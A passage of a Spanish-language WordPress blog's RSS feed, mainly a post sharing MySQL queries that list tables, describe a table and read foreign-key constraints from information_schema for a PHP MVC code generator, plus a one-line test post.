href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/959/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/959/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/959/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=959&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2010/11/24/respaldamekoala-version-1-0-duocuc-2010/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2010/11/login.png" medium="image">
			<media:title type="html">login</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2010/11/download.png?w=300" medium="image">
			<media:title type="html">download</media:title>
		</media:content>
	</item>
		<item>
		<title>MySQL Mapping DataBase</title>
		<link>http://estebanfuentealba.wordpress.com/2010/11/15/mysql-mapping-database/</link>
		<comments>http://estebanfuentealba.wordpress.com/2010/11/15/mysql-mapping-database/#comments</comments>
		<pubDate>Tue, 16 Nov 2010 01:05:59 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[SQL]]></category>
		<category><![CDATA[Foreign Key Mapping]]></category>
		<category><![CDATA[Mapping]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Query]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/?p=954</guid>
		<description><![CDATA[Mucho tiempo sin escribir, Estaba trabajando en ATLConsultores , con DTE del SII y muchas cosas en DuocUC&#8230; Ademas, estaba haciendo un sistemita en PHP para Mapear y asi poder crear Modelo,Controlador y Vistas (MVC) a partir de la estructura de una base de datos en MySQL. Aqui dejare las consultas SQL del Mapeador para [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=954&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Mucho tiempo sin escribir, Estaba trabajando en <a href="http://www.atlconsultores.cl/">ATLConsultores</a> , con DTE del SII y muchas cosas en <a href="http://www.duoc.cl/">DuocUC</a>&#8230;<br />
Ademas, estaba haciendo un sistemita en PHP para Mapear y asi poder crear Modelo,Controlador y Vistas (MVC) a partir de la estructura de una base de datos en MySQL.</p>
<p>Aqui dejare las consultas SQL del Mapeador para que la ocupen en algunos proyectos&#8230;</p>
<p><strong>Mostrar Todas las tablas de una base de datos</strong><br />
<pre class="brush: sql;">
SHOW TABLES
</pre></p>
<p><strong>Muestra la estructura de una tabla</strong><br />
<pre class="brush: sql;">
DESC &lt;NombreTabla&gt;
</pre></p>
<p><strong>Obtener las Constraints de una Tabla</strong> <em>(FK,UNIQUE,DELETE-UPDATE ON CASCADE)</em><br />
<pre class="brush: sql;">
SELECT 	K.constraint_name,
		K.table_name 	AS 'local_table',
		K.column_name 	AS 'local_column',
		K.referenced_table_name		AS	'foreign_table',
		K.referenced_column_name	AS	'foreign_column',
		RC.update_rule,
		RC.delete_rule,
		RC.unique_constraint_name 
	FROM 	information_schema.referential_constraints RC 
		INNER JOIN information_schema.key_column_usage K 
		ON K.constraint_name = RC.constraint_name 
		WHERE 	K.table_name = '&lt;NombreTabla&gt;' 
		AND	RC.constraint_schema='&lt;BaseDeDatos&gt;'
</pre></p>
<p>Bueno , ese es mi aporte , espero que les sirva&#8230;</p>
<p>Saludos!</p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/sql/'>SQL</a> Tagged: <a href='http://estebanfuentealba.wordpress.com/tag/foreign-key-mapping/'>Foreign Key Mapping</a>, <a href='http://estebanfuentealba.wordpress.com/tag/mapping/'>Mapping</a>, <a href='http://estebanfuentealba.wordpress.com/tag/mysql/'>mysql</a>, <a href='http://estebanfuentealba.wordpress.com/tag/php/'>PHP</a>, <a href='http://estebanfuentealba.wordpress.com/tag/query/'>Query</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/954/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/954/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/954/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/954/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/954/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/954/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/954/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/954/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=954&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2010/11/15/mysql-mapping-database/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>
	</item>
		<item>
		<title>Tengo el Chaleco</title>
		<link>http://estebanfuentealba.wordpress.com/2010/10/22/tengo-el-chaleco/</link>
		<comments>http://estebanfuentealba.wordpress.com/2010/10/22/tengo-el-chaleco/#comments</comments>
		<pubDate>Fri, 22 Oct 2010 21:41:19 +0000</pubDate>
		<dc:creator>estebanfuentealba</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://estebanfuentealba.wordpress.com/2010/10/22/tengo-el-chaleco/</guid>
		<description><![CDATA[Test desde la wa Filed under: Uncategorized<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=943&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Test desde la wa
</p>
<p><img src="http://estebanfuentealba.files.wordpress.com/2010/10/102210_2144_tengoelchal11.png?w=600" alt="" /></p>
<br />Filed under: <a href='http://estebanfuentealba.wordpress.com/category/uncategorized/'>Uncategorized</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/estebanfuentealba.wordpress.com/943/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/estebanfuentealba.wordpress.com/943/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/estebanfuentealba.wordpress.com/943/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/estebanfuentealba.wordpress.com/943/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/estebanfuentealba.wordpress.com/943/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/estebanfuentealba.wordpress.com/943/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/estebanfuentealba.wordpress.com/943/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/estebanfuentealba.wordpress.com/943/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=estebanfuentealba.wordpress.com&amp;blog=6364805&amp;post=943&amp;subd=estebanfuentealba&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://estebanfuentealba.wordpress.com/2010/10/22/tengo-el-chaleco/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/35d2b25f5fcc5cee54fb2311fcc10ff7?s=96&#38;d=&#38;r=R" medium="image">
			<media:title type="html">estebanfuentealba</media:title>
		</media:content>

		<media:content url="http://estebanfuentealba.files.wordpress.com/2010/10/102210_2144_tengoelchal11.png" medium="image" />
	</item>
	</channel>
</rss>
